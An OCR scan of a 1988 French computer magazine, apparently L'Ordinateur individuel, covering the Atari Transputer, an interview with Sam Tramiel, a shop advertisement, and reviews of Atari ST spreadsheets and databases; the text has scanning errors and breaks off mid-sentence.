afin de titet pleinement parti des parti- 
cularités de rarchitectute parallèle. Peri- 
helion annonce 1 500 applications en 
cours de développement, principale- 
ment dans les domaines de la CAO, du 
graphisme, de la simulation. Atari 
France de son côté a déjà près d'une 
centaine de dossiers de demandes de 
machines-développeurs, émanant pour 
la plupart de sociétés et non pas de 
concepteurs isolés. Ceux-ci disposent de 
plusieurs langages. D'abord Occam, 
développé spécialement par Inmos poul- 
ies ordinateurs à architecture parallèle ; 
il est le mieux adapté, mais également le 
moins connu. Ensuite, des langages 
usuels : C et Fortran 77, les deux plus 
intéressants après Occam, mais aussi 
Pascal, Lisp, Modula 2, Ada, Prolog... 
De même, l'environnement de dévelop- 
pement est équilibré, avec, en dehors du 
mode natif, un assembleur/linker, un 
C, le mode Atari ST, Unix, MS-DOS. 

Parmi les interfaces-utilisateurs, on 
notera Gem, exécuté sur le ST et 
seulement affiché sur le Transputer, 
Gem sous X- Windows, exécuté sur le 



Transputer, X- Windows Vil et Shell. 
La panoplie est très complète, mais il 
reste aux développeurs à savoir utiliser 
la puissance de la machine. 

Les prix ne sont pas encore fixés. 
Perihelion en a avancé à titre indicatif, 
mais Elie Kenan, p.-d.g. d'Atari 
France, a bien spécifié qu'il ne s'agissait 
que d'un ordre de grandeur. Les voici 
donc, sous toutes réserves ; un T 800 
avec 1 Mo de RAM : 995 £ (environ 
10 700 F) ; quatreT 800 avec 1 Mo de 
RAM chacun : 2 995 £ (environ 
32 100 F) ; une extension de 4 Mo de 
RAM : 1 995 £ (environ 21 400 F) ; 
un raccordement au réseau Ethernet : 
499 £ (environ 5 400 F) ; une carte X- 
25 synchrone : 499 £ (environ 
5 400 F). 

La version commercialisée du Trans- 
puter comprendra un Mega ST, dont le 
processeur 68000 sera dédié... à la 
gestion des entrées-sorties. La plupart 
des logiciel actuels (plus ptécisément 
tous les logiciels respectant le cahier des 
charges Atari) tourneront sur le Trans- 
puter, sans profitet de la puissance de 
l'architecture parallèle, mais en bénéfi- 
ciant de l'affichage. 

Le Transputer Atari est différent des 
cartes Transputer destinées à d'autres 
micro-ordinateurs. Celles-ci, bien que 
mises au point par Perihelion, sont 
utilisées comme des cartes accélératrices. 
Atari ouvte une voie nouvelle, et devrait 
profiter de l'engouement pour le Trans- 
puter. Le monde scientifique pourrait 
bien découvrir que ce constructeur sait 
faire bien autre chose que du jeu ou du 
micro-ordinateut personnel. 

PATRICE DESMEDT 
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LE RENDEZ-VOUS 
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Messagerie, forum, 
conseils techniques, 
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SAMTRAMIEL, 
PRÉSIDENT D'ATARI: 



Sam Tramiel, fils de Jack Tramiel et président d'Atari Corp., 

est venu à Paris à l'occasion du Sicob. Nous en avons profité 

pour nous entretenir avec lui sur le présent et l'avenir d'Atari. 

Il a répondu à nos questions avec simplicité. 



L'Ordinateur individuel : Quelle 
est I "importance de l'Europe pour 
Atari? 

Sam Tramiel : C'est le premier 
marché pour nous. Il est très important. 

L'Oi : En comparaison, les autres 
grandes compagnies américaines ne bé- 
néficient pas d'une telle réussite en 
Europe. Pourquoi ? 

S.T. : C'est pour cette raison que la 
balance du commerce exténeur améri- 
cain est si mauvaise. Les Américains ne 
comprennent pas ce qu'est le commerce 
international. Alors que pour nous, c'est 
très important. Nous achetons et ven- 
dons dans le monde entier. 

L'Oi : Avez-vous du succès aux 
Etats-Unis ? 

S.T. : Nos jeux vidéo remportent un 
vif succès, mais celui de nos ordinateurs 
est tel en Europe que nous n'avons plus 
assez de machines pour en vendre aux 
Etats-Unis. En fait, nous manquons de 
mémoires dynamiques pour fabriquer 
des ordinateurs. Dès que la production 
pourra augmenter, nous reviendrons en 
force sur le marché américain. 

L'Oi : Combien y a-t-il de ST 
installés dans le monde ? 

S.T. : Environ 800 000. Et je pense 
que nous atteindrons 1 , 2 million à la fin 
de cette année. 

L'Oi : Comment expliquez-vous 
votre succès en Europe ? 

S.T. : A cause du passé de Commo- 
dore et de celui d'Atari. L'Europe repré- 
sentait également le ptemiet marché 
pour Commodore. L'expérience est très 
importante. Nous connaissons les gens, 



les développeurs, les professionnels, le 
marché en général. 

L'Oi : Où en est votre procès contre 
Micron Technologies à propos des mé- 
moires dynamiques-' Que devient le 
regroupement des fabricants de micro- 
informatique qu 'Atari a suscité à cette 
occasion ? 

S.T. : Un groupe important s'est 
constitué aux Etats-Unis, avec entre 
autres Hewlett Packard, Tektronix. 
Nous avons créé une association pour 
lutter contre celle des fabricants de semi- 
conducteurs. Les uns disent : « Nous 
voulons contrôler le prix des mémoires 
dynamiques. > Les autres répondent : 
< Vous êtes fous, vous allez tuer l'indus- 
trie de l'informatique. > Les deux par- 
ties se battent, et le gouvernement est 
perplexe. Il ne sait pas qui soutenir. 

Nous attaquons Micron parce 
qu'elle tire injustement parti de la situa- 
tion de pénurie. De nombreuses petites 
sociétés nous ont remerciés de l'avoir 
mise en cause. 

L'OÎ : Pensez-vous aboutir rapide- 
ment? 

S.T. : Non. Cela va durer long- 
temps. La justice est toujours lente, mais 
nous irons aussi loin que nous le pour- 
rons si cela ne s'arrange pas. 

L'Oi : L'augmentation desptix des 
mémoires liée à cette pénurie n 'est-elle 
pas un hanécap particulier pour Atari, 
dont les machines sont très gourmandes 
en mémoire ? 

S.T. : Dans un 1040, vous avez 32 
mémoires de 256 Kbits ; dans un 
Mega 4, vous avez également 32 mé- 




moires, mais de 1 Mbits. Seulement, la 
demande augmente si rapidement que 
nous avons du mal à fournir. Cette 
année, la progression est de 45 %. Si 
nous avions plus de mémoire, nous 
pourrions augmenter nos ventes encore 
plus rapidement. 

L'OÎ : llyadeuxans, le ST était très 
bon marché, comparé aux prix des 
autres standards. Les compatibles PC 
sont aujourd'hui très peu chers. Quelest 
actuellement l'argument de vente 
d Atari? 

S.T. : Le ST est plus performant 
qu'un PC. Plus rapide, plus < élégant >. 
Les PC sont condamnés à être vendus à 
bas prix. J'ai utilisé pour la première fois 
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un PC l'année dernière, un modèle avec 
souris. Je la déplaçais, et regardais en 
même temps le curseur se déplacer à 
l'écran très lentement. J'ai appelé mes 
ingénieurs et leur ai dît : < Ma machine 
a un problème ! » Ils m'ont répondu : 
< Non , c'est normal pour un PC... > 
Nous ne sommes pas inquiétés par les 
PC, même si leur prix baisse encore. 
Dans l'avenir, nous utiliserons des pro- 
cesseurs encore plus rapides, pour que 
nos machines demeurent toujours à la 
pointe de la technologie. Nous ne nous 
satisfaisons pas de l'acquis, nous travail- 
lons toujours sur de nouvelles machines, 
comme le Transputer ou la station de 
travail 68030, dont la présentation 
mondiale aura lieu en France au cours 
du quatrième trimestre de cette année. 

L'Oi : Quels sont les marchés respec- 
tifs de ces deux nouvelles machines? 

S.T. : Elles ont certains points 
communs, mais restent cependant très 
différentes. Le Transputer utilise un 
processus parallèle, et peut atteindre de 
très grosses puissances de traitement. 
L'inconvénient est qu'il utilise un sys- 
tème d'exploitation complètement nou- 
veau. C'est une machine destinée au 
marché scientifique et à celui de l'éduca- 
tion. Le 68030, au contraire, est un 
processeur standard pour Unix. Notre 
station tournera sous Unix 5 . 3 1 . Et il y 
a beaucoup, beaucoup de logiciels dis- 
ponibles. 

L'OÎ : Sur ce marché de la station de 
travail, il y a déjà Apollo, Hewlett 
Packard, IBM, Sun... 

S.T. : C'est bien, très bien. J'en suis 
content. J'aime me battre contre des 
gens de cette qualité. 

L'Oi : Mais ce sont tous des noms 
très connus. 

S.T. : Atari est encore plus connu. 

L'Oi : Mais pas sur ce marché. 

S.T. : Cela me plaît. Dans le monde, 
les gens connaissent Atari comme un 
ordinateur tourné vers le graphisme. Et 
les stations de travail sont des machines 
très fortement orientées vers le gra- 
phisme. Nos développeurs eux-mêmes 
sont étonnés de la vitesse de traitement 
de la machine. Elle marche bien. C'est 
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une très beile réalisation. 

L'Oi : De quelle façon aidez-vous les 
développeurs ? 

S.T. : Les gens d'Inmos qui ont 
développé le système d'exploitation 
Helios ont cherché à le rendre le plus 
semblable possible à Unix. Nous allons 
également organiser des séminaires en 
Europe pour les développeurs, et nous 
avons mis au point des outils de déve- 
loppement spécifiques. En Europe, les 
gens sont intéressés par le Transputet. 
Ils l'attendent avec impatience. Aux 
Etats-Unis, cela n'a pas provoqué le 
même intérêt. 

L'Oi : Que pensez-vous de l'an- 
nonce faite par Commodore au sujet 
d'une carte Transputer ? 

S.T. : Je trouve cela fantastique, 
parce que nous avons notre part dans le 
système d'exploitation Helios. Nous 
touchons des royalties sur chaque sys- 
tème vendu. 

L'Oi: Vous avez travaillé avec Peri- 
helion pour le développement du 
Transputer. Envisagez-vous d'autres 
collaborations de ce type ? 

S.T. : Nous ne sommes pas inflexi- 
bles. Si l'opportunité se présente, oui. 
Nous avons des centres de recherche en 
matériel aux Etats-Unis, au Japon, en 
Grande-Bretagne er en Allemagne. Et 
pour le logiciel, partout dans le monde. 

L'OÎ : Les logiciels jouent un grand 
rôle dans le succès d'un ordinateur. Sur 
ST, certains types de logiciels, comme 
les tableurs, n ont pas encore atteint le 
meilleur niveau. Quel est le rôle 
d'Atari? 

S.T. : Nous aidons les développeurs 
en vendant beaucoup de machines. Plus 
nous vendons d'unités, plus ils vendent 
de logiciels. Pat ailleurs, l'Atari offre 
une grande souplesse pour le dévelop- 
pement, bien plus grande par exemple 
que celle du Macintosh, qui possède un 
environnement de développement ri- 
gide. Le ST, au contraire, est largement 
ouvert. Il est possible de travailler dans 
différentes directions. En ce qui 
concerne les tableurs, c'est vrai que Vip 
est bon, mais pas génial. Mais il y a en 
cours des produits très intétessants. La 




société américaine LDW est en train de 
terminer un tableur très rapide, Hyper- 
plan, qui sortira prochainement aux 
Etats-Unis. Il est aussi rapide et facile 
d'emploi qu'Excel, et compatible avec 
Lotus. C'est un superbe produit. 
Quand vous avez une excellente ma- 
chine, les logiciels suivent obligatoire- 
ment. 




L'Oi : On entend beaucoup parler 
de votre lecteur de CD-R OM, mais on 
ne voit pas grand-chose jusqu'à présent. 
Quand peut-on espérer sa sortie ? 

S.T. : Nous commencerons les livrai- 
sons dans le monde entier dès cet été. La 
véritable production démarrera cet au- 
tomne. Je prévois l'explosion du CD- 
ROM pour la fin de l'année 1989. 

L'Oi : Les professionnels vous repro- 
chent de faire un lecteur mixte audio et 
R OM en arguant que la base utilisée est 
celle d'un lecteur audio, donc non 
adaptée au CD-ROM? 

S.T. : C'est une réaction de snob. 
D'abord, l'Atari ST a toujours été une 
machine chère aux utilisateurs de systè- 
mes Midi. Si ces personnes peuvent 
trouver des banques d'échantillons so- 
nores sur CD-ROM et les utiliser direc- 
tement, c'est une grande chance. En- 
suite, la dimension sonore est très 
importante pour tous les produits édu- 
catifs. Enfin, pourquoi se priver du son 



puisque le coût supplémentaire est pres- 
que nul ? Côté matériel, il n'y a pas lieu 
de s'inquiéter. Nous avons deux cartes- 
rircuits différentes. Les codes de détec- 
tion d'erreurs propres au CD-ROM 
sont respectés. Ce sont les raisons pour 
lesquelles nous avons dû attendre deux 
ans avant de sortir notre machine. Les 
coûts de la technologie étaient trop 
élevés. Par ailleurs, notre lecteur sup- 
portera les standards High Sierra, Mi- 
crosoft et même Apple. 

L'Oi : Quel marché visez-vous ? 

S.T. : Nous nous adressons au seg- 
ment supérieur du marché de masse. 
Notre lecteur ne coûtera que 600 $, soit 
moitié moins que celui d'Apple. Je suis 
d'accord, 600 $ c'est une certaine 
somme. Aux Etats-Unis, on peut ache- 
ter un lecteur audio pour 250 $, mais 
c'est normal de payer deux fois plus 
cher pour avoir la possibilité ROM. 
C'est un outil fabuleux. 

L'Oi : En attendant, les applications 
horizontales se comptent presque sur les 
doigts de la main. Comment pallier le 
manque d'applications? 

S.T. : L'industrie du CD-ROM est 
naissante, mais les projets sont nom- 
breux. Aux Etats-Unis et en Allema- 
gne, beaucoup d'éditeurs souhaitent 
transposer leurs bases de données sur 
CD-ROM. En France, Hachette vient 
de rachetet Grolier qui a déjà réalisé une 
encyclopédie électronique... Sur notre 
stand est présente l'encyclopédie visuelle 
d'une société québécoise. Il est certain 
que la base d'applications doit se déve- 
lopper. Nous ferons tout pour aider au 
décollage. Nous produirons nous- 
mêmes et nous aiderons les éditeurs. 
Notre cible : la formation et l'éducation 
à domicile. Nous pensons qu'il y a là un 
marché gigantesque. 

L'OÎ : Pensez-vous développer un 
logiciel dans la même veine qu 'Hyper- 
Card? 

S.T. : Certainement. Nous cher- 
chons en ce moment un produit ce ce 
genre. Partout, y compris en France. 

PROPOS RECUEILLIS PAR 

VÉRONIQUE CHARREYRON ET 

PATRICE DESMEDT 
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IL Y A LES CLIENTS COCONUT... 



IL Y A CEUX QUI CHERCHENT ENCORE... 



COCONUT 

MONTPELLIER 

, "MHE CuMMbHC AL LE TR ANG_E 

NIVEAU BAS 

34000 MONTPELLIER 

TEL : 67.58.58.88 



COCONUT 
RÉPUBLIQUE 

13, boulevard VOLTAIRE 

75011 PARIS® 43. 55.63.00 

Métro Oberkampf 



COCONUT 

ÉTOILE 

41, avenue de la Grande Armée 

75016 PARIS "S 1 45.01 .67.28 

Métro Argentine 



COMITÉS D'ENTBEPftlSES, COLLECTIVITÉS 

CLUBS, ÉTUDIANTS, COKTACTEZ : 

SCOOP INFORMATIQUE 

13, Bld VOLTAIRE 75011 PARIS 

TÉL. : 43.55.63.00 (DEMANDER MARIO) 



LE SPECIALISTE DE L'ATARI ST 



ATARI 520 / 1040 STF 




512KORAMPOURLE520STF 

1 M0RAMPOURLE1040STF 

LECTEUR DISK DOUBLE FACE 720KO 

PCM N"EGREE [GEM) 

1 b/31 E "5 MICROPROCESSEUR 68000 

CLAVIEH AZERTÏAVEC BLOC NUMERIQUE 

INTERFACE MIDI INTEGREE 

3 RESOLUTIONS GRAPHIQUES 

-320x200 EN 16 COULEURS 

-640x200 EN 4 COULEURS 

- 640 X 400 EN MONOCHROME H.R. 

SOURIS 

CASLE PERITEL 



520 STF + MONITEUR MONOCHROME H.R 4480 

MO STF + MONITEURCOU LEUR ATARI 5490 

KO STF + MONITEUR COULEUR PHILIPS 8801 .... 4990 

1>40STF 4790 

|040 STF + MONITEUR MONOCHROME H.R 5990 

1340 STF + MONITEUR COULEUR ATARI 7490 

1040 STF + MONITEUR COULEUR PHILIPS 8801 ... 6990 



ACCESSOIRES 



IMPRIMANTES : 

STARLC10: 

llvi-RIVANTR GRAAHQIJE MÀ"RI<".IEL_F. 

9 AIGUILLES. 

VTEÎSE D PRESSION : 

- 1 44 CPS EN STANDARD 

- 36 CPS EN QUALITE COURRIER 
BUFFER 4 KO. 

nRCDUC'MSL-iv! -AUTOMATIQUE 
AvAiCT FA^E- FfilC T IGN 0- "RACT ON 
MICRO-AVANCE ET RETOUR ARRIERE. 
"■ARA__ELE CENTRONICS. 

STAR LC 10 -2590 

LA COULEUR 

AU PRIX DU MONOCHROME ; 

STAR LC 1 7 COULEURS 2890 

STAR NB 24/10 
IMPRIMANTE GRAPHIQUE f,'ATR:CIE__E. 
•24 AIGUILLES. 
VTESSE OT'.' PRESSION : 

- 216CPSEN-STANDARD 

- 72 CPS EN QUALITE COURRIER 
BUFFER 8 KO. 

PARALLELE CENTRONICS. 
VOD'JLES D'ECRIE S U F r tE M EN TA- 
RES EN OPTION. 

STARMB24/10 5990 

STAR LC2i/10 4390 

INOS VIVANTES S0N~_>. ; REES AVEC 
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L'application bureautique la plus populaire, le tableur, n'a pas 

atteint encore sut le ST le niveau de performances 

courant sur les produits PC. Les logiciels destinés à l'Atari 

sont agréables d'emploi, dotés de bonnes 

capacités graphiques, mais répondent d'abord à 

une utilisation personnelle. 

que bien conçu avec, en particulier, des 
facultés de représentation en 3D. Calco- 
mat utilise un système de coordonnées 
relatives < à la Multiplan > pour les 
formules. Ce mode de représentation, 
qui a ses partisans et ses détracteurs, est 
quelque peu déroutant car il demande 
une certaine gymnastique mentale pour 
décoder le sens d'une formule. Surprise, 
alors que Calcomat en est à sa troisième 
version, nous y avons trouvé une bogue 
un peu étrange : les formules ne peu- 
vent être indiquées qu'en utilisant la 
souris, l'emploi du curseur-davier géné- 
rant un message d'erreur de syntaxe. 

Au niveau de l'affichage, Calcomat 
offre certaines possibilités. Les textes 
apparaissent en gris, tandis que les 
nombres sont bien noirs, ces paramètres 
pouvant être modifiés au gré de l'utili- 
sateur. Les formats sont assez riches, 
puisque les nombres peuvent être expri- 
més en francs, kilos, dollars, centimè- 
tres, livres, deutschmarks et mètres 



Honnêtement, ce n est pas avec son 
offre tableur qu'Atari peut espé- 
rer s'introduire dans les grands comptes. 
Avec Calcomat, Masterplan et Vip, 
nous nous trouvons face à des produits 
davantage susceptibles d'intéresser les 
particuliers que les entreprises. 

Les trois tableurs étudiés ici ont un 
point commun : ils s'exécutent en mode 
graphique, et offrent par exemple la 
possibilité d'agrandir une colonne en 
cliquanr sur son bord comme sous 
Excel. Pour le reste, Calcomat diffère 
fortement de Masterplan et de Vip qui, 
pour leur part, collent d'assez près au 
standard établi par Lotus 1-2-3 pre- 
mière version (sonde en 1983...). De 
façon générale, chacun de ces tableurs 
semble refléter ce qui se faisait il y a 
plusieurs années, et les derniers apports 
du développement sont généralement 
absents. Il ne faut donc pas chetcher ici 
de recalcul minimal, de liaisons entre 
feuilles ou d'enregistrements automati- 
ques de macros. Seuls Vip et Master- 
plan disposent de capacités de consoli- 
dation, mais elles semblent bien maigres 
face à ce que propose le marché des 
tableurs PC ou Macintosh en 1988. 

CALCOMAT: 

DE REMARQUABLES 

GRAPHIQUES 

Sur le papiet, Calcomat 2 pouvait 
sembler intéressant avec 65 535 lignes 
X 65 535 colonnes et ses < macro- 
fonctions >. Dans la pratique, nous 
avons surtout retenu un module graphi- 



carres... 

Le module graphique est à la fois très 
simple et rrès rapide dans son réaffi- 
chage. Il propose de nombreux choix, 
mais nous avons particulièrement ap- 
précié les diagrammes de Manhattan en 
3D, ou les graphiques de surface, popu- 
larisés par des produits tels que Boeing 
Gtaph. Sur le plan purement graphi- 
que, Calcomat est le meilleur des trois 
produits présentés ici. 

Mais il n'en est pas de même du 
tableur, qui demeure limité, malgré une 
batterie de plus de cinquante fonctions. 



' 
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Tout d'abord, Calcomat ne possède pas 
de macros, ses < macrofonctions > étant 
en fait des combinaisons de fonctions du 
produit. Le fichier .MAC contenant ces 
macrofonctions doit impérativement 
être chargé en mémoire pour qu'une 
feuille de calcul leur faisant référence 
demeure cohérente. 

Les temps de réponse, sur Calcomat 
comme chez ses concurrents, sont trop 
faibles pour soutenir la moindre compa- 
raison avec les tableurs vedettes du PC. 

MASTERPLAN: 
LE COMPROMIS 

Masterplan a un ( look > plus 
professionnel dans la mesure où il s'ins- 
pire de 1-2-3 v 1A (sans toutefois le 
signaler le moins du monde...) .tout en 
proposant des menus déroulants. Le 
programme s'exécute en français bien 
que le manuel soit rédigé en américain. 
L'ergonomie Lotus aide à une prise en 
main immédiate de Masterplan, du 
moins pour les habitués de ce tableur 
graphique. Au départ, Masterplan sem- 
ble offrir le meilleur de deux mondes : la 
souplesse d'utilisation de 1-2-3 alliée 
aux facilités propres aux environne- 
ments graphiques souris. Nous avons 
ainsi droit à une icône pour les déplace- 



ments aux quatre coins de la feuille de 
8 192 lignes x 256 colonnes. Les 
menus peuvent être manipulés au 
moyen de la souris ou par le clavier. 

Mais Masterplan est un clone restric- 
tif et souffre de nombreuses lacunes. Par 
l'absence du menu Outils, le traitement 
des fichiers dans la feuille n'est pas 
possible. La recopie des formules est très 
lente, et les macros n'ont pas été inclu- 
ses. C'est dommage, car ce tableur 
comporte par ailleurs des qualités. Il 
imprime par exemple les graphiques 
directement à partir du menu, lit des 
fichiers et effectue des consolidations. 

VIPPROFESSIONAL: 
L'HOMMAGE À 1-2-3 

Vip Profession^.; v;i plus loin. Ce 
logiciel ne cache pas pour sa part sa 
compatibilité avec 1-2-3 v 1A, et la 
clame haut et fort. Vip traite comme 
Masterplan des fichiers .WKS, et nous 
avons pu traiter le même fichier sur ces 
deux produits sans le moindre pro- 
blème. 

La compatibilité de Vip n'est pas 
limitée, et nous trouvons donc ici toute 
la batterie des outils auxquels 1-2-3 v 
1A nous a habitués : la gestion de 
fichiets, les outils (tri, génération de 
nombres, tables d'hypothèses à deux 
dimensions, etc.), et les macros. Le 
manuel d'utilisation est apparemment 
identique à celui de Vip Professional 



déjà disponible pour l'Apple 2 GS. 

Nous trouvons aussi dans Vip des 
facilités à la Excel dues à l'environne- 
ment graphique. Ainsi, le fait de cliquet 
sur un bord sélectionne toutes les don- 
nées de la ligne/colonne correspon- 
dante. De petites icônes simulent les 
touches de fonction. La présence de 
macros permet de créer des applications 
avec menus. La compatibilité avec 1-2- 
3 a été poussée jusque dans la présence 
d'un programme externe (Graphprinr) 
pour imprimer les graphiques générés. 

Revers de la médaille : Vip est 
incroyablement lent, ce qui était déjà le 
cas pour sa version Apple 2 GS. Ainsi, 
sur une feuille contenant 8 000 formu- 
les, le moindre ajout amène un temps 
d'artentede52s. 

Vip est totalement conçu en améri- 
cain (programme et manuel) ce qui 
peut être un obstacle pour certaines 
catégories d'utilisateurs. II semble néan- 
moins, en dépit de ses temps de téponse, 
le meilleur des trois tableurs présenrés 
ici. De façon générale, le niveau de ces 
trois produits est très insuffisant par 
comparaison aux vedettes du Mac et du 
PC. Il faut espérer que leurs versions 
furures incorporeront le recalcul mini- 
mal, des macros du niveau de 1-2-3 
version 2, avec boucles et conditions, et 
de meilleures capacités de consolidation. 

DANIEL ICHBI AH 
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Calcomat 2: des paramèrres modifiables a voloncc. 
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SUPERBASE 
SORT DU RANG 

Dans le domaine noble et très « pro > des bases de données 

relationnelles, l'Atari peut se flatter d'une offre 

particulièrement performante, induction ou Gem JT Base + 

sont d'excellents produits, 

mais Superbase Pro se détache du lot. 



Superbase pro est présenté comme 
un < SGBD relationnel et program- 
mable > et ne comporte pas moins de 
quatre disquettes dans sa version Atari. 
C'esr un SGBD extraordinairement 
convivial et s'il est un produit dont le ST 
peut s'enorgueillir, c'est bien celui-ci. 
Superbase est également présent dans le 
monde du PC et sur l' Amiga. Il a même 
été un relatif best-seller dans le monde 
DOS, dans la mesure où Superbase 
Personal (première version) a fait partie 
de l'offre logicielle < Inregral PC > 
d'Amstrad aurour de son PC 1512. 
Plus de 50 000 exemplaires du SGBD 
ont été diffusés par ce canal. Pour le 
reste, les ventes de Superbase - sorti en 
version française en mars 1987 et distri- 
bué par Micro Application - se sont 
élevées à plus de 4 000 exemplaires, 
toutes machines confondues. 

Superbase Personal était déjà un 
assez beau produit, mais il lui manquait 
quelques vitamines pour séduire les 
grandes entreprises. La version < Profes- 
sional > de Superbase disponible pour 
Atari et PC peut se compare! aux 
grands du SGBD a, qui plus est, 
dispose d'une convivialité quasi inégalée 
dans ce domaine. Sa principale nou- 
veauté consiste en un éditeur de mas- 
ques aux talents multiples. Ce qui ne 
veut pas dire que quelques erreurs de 
jeunesse ne subsistent pas. Gtons-en 
quelques-unes... Superbase dispose 
d'une protection contre la copie qui 
nécessite de placer la disquette originale 
dans le lecteur A. Ce type de protection 
amenant une gêne pour l'utilisateur est 



à peine concevable en 1988. Il faut 
aussi lancer un petit programme avant 
l'exécution de Superbase pour bénéfi- 
cier des trémas et des accents circon- 
flexes. Enfin, le manuel nous a paru 
trop verbeux, et loin d'égaler la simpli- 
cité d'utilisation du produit lui-même. 
Il est trop long à lire, et nous conseillons 
de suivre uniquement les leçons-exerci- 
ces se trouvant à la fin de certains 
chapitres. Elles sont largement suffisan- 
tes pour assimiler l'essentiel du produit. 
Par ailleurs, Micro Application s'ap- 
prête à éditer un livre d'initiation à 
Supetbase. 

► UNE INTERFACE 
TRES SIMPLE 

Superbase travaille en mode graphi- 
que sous Gem. L'un des points origi- 
naux de ce SGBD est la présence, au bas 
de l'écran, d'icônes < touches de magné- 
tophone >. C'est en cliquant sur ces 
touches d'avance tapide, de pause, d'ar- 
rêt... que l'on se déplace au sein d'un 
fichier. Cette interface est incroyable- 
ment simple à assimiler et à utiliser. 
L'idée originelle semble d'ailleurs venir 
d'un logiciel pour Macintosh appelé 
Performer et très en vogue chez les 
musiciens. Qu'imporre puisque l'idée 
est bonne. Un fichier Superbase peut 
être manipulé en mode Tableau (style 
feuille de calcul), Registre (masque de 
saisie sans fioriture évoquant celui 
qu'utilise dBase par défaut) ou Formu- 
laire (écran de saisie personnalisé). Le 
dessin d'un Formulaire consiste à dépla- 
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cer les zones à l'écran au moyen de la 
souris, et s'effectue donc en un temps 
record. 

Au bas de l'écran, dans la zone du 
magnétophone, se trouve un bouton 
mystérieux surmonté d'un point d'in- 
terrogation (?). Il s'agit en fait du 

< bouton de recherche par clé > pour la 
restitution d'un enregistrement à partir 
d'un champ indexé. Lorsque l'on clique 
sur ce point d'interrogation, Supetbase 
ouvre une boîte de dialogue et mâche le 
travail. La définition d'un filtre esc tout 
aussi simple, puisqu'il suffit de cliquer 
sur des boutons pour l'essentiel. 

La zone magnétophone recèle un 
autre bouton précieux, symbolisé par 
un appareil de photo. D sert à associer 
aux enregistrements d'un fichier des 

< images > externes, telles que des 
graphiques. Sur ce terrain, n'oublions 
pas que les SGBD vedettes du PC, 
dBase, Paradox ou R:base, ne peuvent 
plus suivre... C'est dans le monde Win- 
dows qu'il faut alors chercher les 
concurrents avec des produits tels que 



Filer de Palantir ou Win JT Base, 
également présent sous Gem. Les pos- 
sesseurs d'un Amiga peuvent quant à 
eux relier des fichiers de « sons > aux 
enregistrements d'un fichier. Idéal pour 
la gestion d'un night-club. 

De façon générale, Superbase est très 
intelligemment conçu, et la souris est 



mise à contribution autant que faire se 
peut. Lorsque l'on définit une zone d'un 
fichier, la taille de celle-ci peut être 
ajustée avec Miss Mouse. Si une colonne 
s'avère trop large en mode Tableau 
pour obtenir une bonne visibilité, la 
souris autorise les ajustements à l'écran. 
La définition d'une base s'effectue de 
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façon claire, et il esc difficile de se 
tromper. Par compataison, Omnis 
Quartz sous Windows semble un pro- 
duit complexe. 

La nouveauté majeure est donc l'édi- 
teur de masques que l'on peut assimiler 
à un générateur d'écrans et d'états de 
haut niveau. Il permet de ctéer des 
masques de saisie beaucoup plus so- 
phistiqués que le mode Formulaire évo- 
qué plus haut, et comporte des capacités 
de gestion de liens entre plusieurs fi- 
chiers. Un même écran va rendre possi- 
ble la manipulation de données de trois 
ou quatre fichiers différents. Enfin, cet 
éditeur offre des fonctions de dessin 
propres à enrober le tout avec goût. Les 
programmeurs sont conviés à créer des 



Les SGBD relationnels ne doivent 
pas occulter les simples gestionnaires de 
fichiers, moins chers et surtout beau- 
coup plus simples d'emploi. Ils sont 
bien sûr moins puissants et offrent des 
possibilités plus réduites, mais ils ren- 
dent de grands services là où un SGBD 
esr inutile. En l'absence de nouveautés 
dans cette catégorie de logiciels, les 
produits sont aujourd'hui éprouvés. 
Après l'arrêt de la commercialisarion de 
Db Masrer One édité par Atari, un 
logiciel adapté à de petires applications, 
Datamat de chez Micro-Application 
(380 F ht) reste le meilleur représentant 
de certe catégorie. La première version 
de ce logiciel est pourtant de sinistre 
mémoire. Une bogue vicieuse détruisait 
les fiches sans crier gare ! Datamar esr 
mainrenant débogué, et l'on peut dé- 
couvrir sans appréhension son Extraor- 
dinaire simplicité. Le néophyte apprend 
à s'en servir très rapidement La fiche 
type se crée à la souris, la recherche 
s'effectue sur un ou plusieurs termes, 
sans définition de mors dés. Très bon 
marché, Datamat est un bon premier 
produit, pour tous ceux qui souhaitenr 
s'initier aux gestionnaires de fichiers et 
qui n'ont pas besoin de Superbase, du 
même éditeur. 
Serviœ-leaeurs, réfêrencerf 63 



applications Superbase en utilisant le 
DML, langage très proche du Basic qui 
pilote l'ensemble des capacités du 
SGBD. 

Un mot sur les capacités. Superbase 
ne connaît aucune limite (sauf celles 
imposées par le monde physique...) 
quant au nombre maximal de champs 
d'un fichier. Pour ce qui esr des index, 
ils vonr jusqu'à 999, er sonr mis à jour 
en permanence. En définitive, Super- 
base soutient la comparaison avec les 
grands, er son intense convivialité lui 
ouvre des brèches dans le rerriroire de 
ceux-ci. Bien sûr, pour décoller, il lui 
faut avant tout s'implanter dans le 
monde PC er fonctionner en réseau afin 
de séduire les grandes entreprises. Pour 
l'heure, c'est un bien joli produit que 
nous propose Micro Application, et s'il 
fallait un Excel pour l'Atari, ce pourrait 
bien être celui-là. 



|^P* QUELQUES AUTRES 

Signalons également deux autres 
produits intéressants. Induction sous 
Gem (cf.L 'Oin° 102) est également un 
SGBD relationnel non dépourvu de 
possibilités puisqu'une base peut englo- 
ber jusqu'à 32 767 fichiers. Les compo- 
sants d'un fichier Induction peuvent 
erre des champs < habituels >, c'est-à- 
dire de type numérique, date ou texte, 
maïs aussi des éléments graphiques tels 
que des icônes. 

On déplorera pour Induction l'ab- 
sence d'un guide d'apprentissage pro- 
gressif, tout en apprécianc certaines 
fonctionnalirés. Ainsi, la relation entre 
deux fichiers est clairement représentée 
à l'écran par une flèche reliant les zones 
de ces deux fichiers (à la façon de Reflex 
pourle Mac). La représentation graphi- 
que est de qualité élevée et l'on dispose 
d'un constructeur d'icônes ouvranr des 
possibilités variées pour le décor des 
masques de saisie. Ces derniers peuvent 
être multifichiers, er l'utilisateur peut 
changer le style des caractères (gras, 
souligné, etc.) ou le fond d'écran. 

Malgré des capacités ambitieuses, 



Induction n'offre pas le même degré de 
convivialité que Superbase. On norera 
cependant la facilité d 'établissement des 
liens entre fichiers et la clarté de la 
représentation de ceux-ci à l'écran. 

Enfin, n'oublions pas le produir 
Gem JT Base + développé par l'équipe 
du Français Jacques Trêves. Ce produit 
tourne sur Atari et sur PC et a réalisé 
4 000 venres en version ST er 3 200 en 
version MS-DOS. Une partie de ce 
succès s'explique par le fait qu'il a été 
livré en standard avec le ST 1040 
pendanr une période promotionnelle de 
deux mois. Mais JT Base a toujours fait 
partie du package bureautique Atari. 

GemJTBase+ est un logiciel mono- 
fichier qui peut stocker 65 000 fiches de 
